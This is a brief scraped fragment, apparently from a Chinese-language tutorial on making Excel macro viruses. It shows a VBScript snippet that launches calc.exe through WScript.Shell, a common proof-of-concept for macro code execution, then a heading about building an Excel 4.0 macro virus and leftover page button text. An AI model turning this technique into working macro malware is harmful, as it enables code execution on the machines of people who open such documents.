Dim oShell, cmd. Set oShell = CreateObject("WSCript.shell") cmd = "calc.exe" Call oShell.exec(cmd) End Sub. 三、MS4.0(制作一个excel宏病毒).
確定! 回上一頁